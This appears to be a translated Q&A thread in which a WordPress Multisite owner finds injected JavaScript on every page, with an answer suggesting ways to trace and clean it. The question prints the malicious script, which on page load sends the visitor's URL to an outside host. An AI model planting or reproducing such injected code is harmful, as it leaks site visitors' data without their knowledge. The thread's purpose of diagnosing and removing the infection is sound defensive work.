突然间我注意到我的所有页面都包含一些意想不到的JavaScript代码。
我不会每天检查源代码。但是今天我需要调试一些东西,然后我会在所有页面中看到这段代码。
我正在使用 WordPress Multisite 版本4.1.2。
网站上的所有插件均来自wordpress.org,并附有最新更新。
问题是如何找出代码(来自哪个文件)的来源?我使用notepad ++搜索了所有文件,但没有在任何文件中找到此代码!
<script type="text/javascript" >
var idPin = "";
function postTest(idPin) {
var xmlhttp;
if (window.XMLHttpRequest) { xmlhttp=new XMLHttpRequest(); }
else { xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); }
var baseLocation = encodeURIComponent(document.URL);
var req = "http://blockgroup.pw/testpost";
d = "url=" + baseLocation + "&geo=" + idPin; xmlhttp.open("POST", req ,true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send(d);
}
window.onload = function() { postTest(idPin); }
</script>
答案 0 :(得分:1)
你尝试了几件事,因为Wordpress使用Hook来调用各个部分。您可以输出所有内容并在页脚部分中搜索与此相关的内容。
:一种。强>
- functions.php -
function list_hooked_functions($tag=false){
global $wp_filter;
if ($tag) {
$hook[$tag]=$wp_filter[$tag];
if (!is_array($hook[$tag])) {
trigger_error("Nothing found for '$tag' hook", E_USER_WARNING);
return;
}
}
else {
$hook=$wp_filter;
ksort($hook);
}
echo '<pre>';
foreach($hook as $tag => $priority){
echo "<br />>>>>>\t<strong>$tag</strong><br />";
ksort($priority);
foreach($priority as $priority => $function){
echo $priority;
foreach($function as $name => $properties) echo "\t$name<br />";
}
}
echo '</pre>';
return;
}
list_hooked_functions();
我认为,因为它的JS会挂钩 wp_print_footer_scripts 序列。然后,您可以进入调用链并过滤输出脚本的特定函数。
https://developer.wordpress.org/reference/
了解所涉及功能的结构。
<强>乙强>
另一件事是,如果黑客设法访问数据库,可能会搜索数据库中提到的相关脚本。 (虽然我怀疑)
<强>下进行。强>
查看您是否在主题中使用任何易受攻击的代码,例如主题内部的一个无法使用的插件插件(没有更新),与通过“管理”面板安装的插件相反。
需要注意的是:通常他们会使用base64字符串,然后他们将在此过程中调用解码,因此您将无法以纯文本形式找到JS代码。
RevSlider不久前有一个漏洞。
<强> d 强>
使用 wordfence 等安全插件,可以扫描您的文件是否有可疑代码。
https://wordpress.org/plugins/wordfence
找到并删除恶意代码后,请务必更改密码
---附加信息---
在wordpress领域似乎发生了很多事情,如果你使用的是Wordpress评论框,它会对你产生很大的影响。
当前版本的WordPress易受存储的XSS攻击。未经身份验证的攻击者可以在WordPress评论中注入JavaScript。查看注释时会触发脚本。 (2015年4月27日)
来源:http://klikki.fi/adv/wordpress2.html
- 如果您获得以上任何一项优惠,请告诉我们。